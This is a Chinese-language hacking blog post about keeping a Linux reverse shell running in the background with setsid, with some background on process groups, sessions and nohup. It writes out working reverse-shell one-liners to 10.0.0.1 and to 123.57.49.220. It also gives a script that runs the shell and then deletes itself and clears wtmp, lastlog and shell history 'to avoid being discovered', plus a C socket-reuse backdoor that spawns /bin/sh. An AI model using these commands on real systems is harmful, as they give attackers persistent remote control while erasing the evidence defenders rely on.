setsid实现后台运行
0x00 经典姿势
下面这个在Linux下反弹shell的经典姿势相信大家一定不会陌生:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
但是,这样是有一个小问题的,就是当你在target主机上运行上面这句shell脚本时,它是一直在等待挂着的,如果退出的话,反弹出来的shell也会跟着断掉,这就不好玩了。
0x01 关于进程
进程组 (process group)
每个进程都会属于一个进程组(process group),每个进程组中可以包含多个进程。进程组会有一个进程组领导进程 (process group leader),领导进程的PID成为进程组的ID (process group ID, PGID),以识别进程组。
会话 (session)
更进一步,在shell支持工作控制(job control)的前提下,多个进程组还可以构成一个会话 (session)。bash(Bourne-Again shell)支持工作控制,而sh(Bourne shell)并不支持。
会话是由其中的进程建立的,该进程叫做会话的领导进程(session leader)。会话领导进程的PID成为识别会话的SID(session ID)。会话中的每个进程组称为一个工作(job)。会话可以有一个进程组成为会话的前台工作(foreground),而其他的进程组是后台工作(background)。每个会话可以连接一个控制终端(control terminal)。当控制终端有输入输出时,都传递给该会话的前台进程组。由终端产生的信号,比如CTRL+Z, CTRL+\,会传递到前台进程组。
会话的意义在于将多个工作囊括在一个终端,并取其中的一个工作作为前台,来直接接收该终端的输入输出以及终端信号。 其他工作在后台运行。
上面这些资料转自(Vamei’s blog),就我上面的例子来说,简而言之就是我在target上运行的bash是我反弹shell的领导进程,如果这个领导进程挂掉了,反弹是shell进程也就跟着跪了。所以,就需要我反弹是shell运行在类似守护进程的状态。其具体原因是:当我们退出终端时,终端会收到 HUP(hangup)信号从而关闭其所有子进程。
0x02 Linux下常见的进程后台运行方法
我们经常会碰到这样的问题,用 telnet/ssh 登录了远程的 Linux 服务器,运行了一些耗时较长的任务, 结果却由于网络的不稳定导致任务中途失败。所以我们需要让进行在后台运行着。这里有两种途径解决方法:要么让进程忽略 HUP 信号,要么让进程运行在新的会话里从而成为不属于此终端的子进程。
1. &
可在结尾加上“&”来将命令同时放入后台运行,这个熟悉Linux的人应该都会使用到的办法。
[root@kali~]# (ping www.s0nnet.com &) [root@kali ~]# ps -ef |grep www.s0nnet.com root 16270 1 0 14:13 pts/2 00:00:00 ping www.s0nnet.com root 16278 15362 0 14:13 pts/2 00:00:00 grep www.s0nnet.com
上例中,新提交的进程的父 ID(PPID)为1(init 进程的 PID),并不是当前终端的进程 ID。因此并不属于当前终端的子进程,从而也就不会受到当前终端的 HUP 信号的影响了。
2. nohup
nohup 的用途就是让提交的命令忽略 hangup 信号。其使用只需在要处理的命令前加上 nohup 即可,标准输出和标准错误缺省会被重定向到 nohup.out 文件中。一般可在结尾加上“&”来将命令同时放入后台运行,也可用">filename 2>&1"
来更改缺省的重定向文件名。
3. setsid
可以是Linux下的一个命令,也可以是C等编程语言中的函数,其功能是一样的。setsid函数将创建新的会话,并使得调用setsid函数的进程成为新会话的领头进程。调用setsid函数的进程是新创建会话中的惟一的进程组,进程组ID为调用进程的进程号。
setsid函数调用还有个条件,即调用进程不为一个进程的领头进程。在我开头的例子中刚好符合这一条件。shell(父)进程退出,使得子进程不可能是进程组的领头进程。该会话的领头进程没有控制终端与其相连。满足了守护进程没有控制终端的要求。
关于Linux–进程组、会话、守护进程,推荐博文:
Linux–进程组、会话、守护进程 http://www.cnblogs.com/forstudy/archive/2012/04/03/2427683.html
进程、进程组、会话以及守护进程 http://blog.csdn.net/yuxue_23/article/details/12162785
Linux–setsid() 与进程组、会话、守护进程 http://www.cnblogs.com/gx-303841541/p/3360071.html
0x03 setsid应用
在上面的扩展博客中有几个关于setsid的例子,下面就简单说说怎么更改文章开头遇到的问题。
很简单,在那句命令之前加上setsid即可:
setsid bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
当然,也可以写成一个稍微靠谱点的shell脚本,在反弹的shell退出之后进行一些日志清楚,文件清理的工作,防止被发现。下面简单写写,可以自行补充:
#!/bin/bash sleep 3 setsid bash -i >& /dev/tcp/123.57.49.220/8080 0>&1 rm -rf $(cd `dirname $0`; pwd)"/"$0 #delete this script # delete log and history if privilege allow: # echo >/var/log/wtmp # echo >/var/log/lastlog # history -c kill -9 $$
还有一个使用实在Kali下面在/usr/share/webshells/php/目录中一个PHP后门中使用了常见的反弹shell的一个简单C语言脚本:
#include <sys/socket.h> #include <stdio.h> #include <string.h> #include <arpa/inet.h> #include <netinet/in.h> #include <unistd.h> int main (int argc, char** argv) { // Usage message if (argc != 3) { printf("Usage: findsock ip port\n"); exit(0); } // Process args char *sock_ip = argv[1]; char *sock_port = argv[2]; // Declarations struct sockaddr_in rsa; struct sockaddr_in lsa; int size = sizeof(rsa); char remote_ip[30]; int fd; // Inspect all file handles for (fd=3; fd<getdtablesize(); fd++) { // Check if file handle is a socket // If so, get remote IP and port if (getpeername(fd, &rsa, &size) != -1) { strncpy(remote_ip, inet_ntoa(*(struct in_addr *)&rsa.sin_addr.s_addr), 30); // Check if IP for this socket match // the socket we're trying to find. if (strncmp(remote_ip, sock_ip, 30) == 0) { // Check if Port for this socket match // the socket we're trying to find. if ((int)ntohs(rsa.sin_port) == (int)atoi(sock_port)) { // Run command setsid(); dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); close(fd); execl("/bin/sh", "/bin/sh", "-i", NULL); } } } } }
推荐博文见0x02 Linux下常见的进程后台运行方法中的博客链接。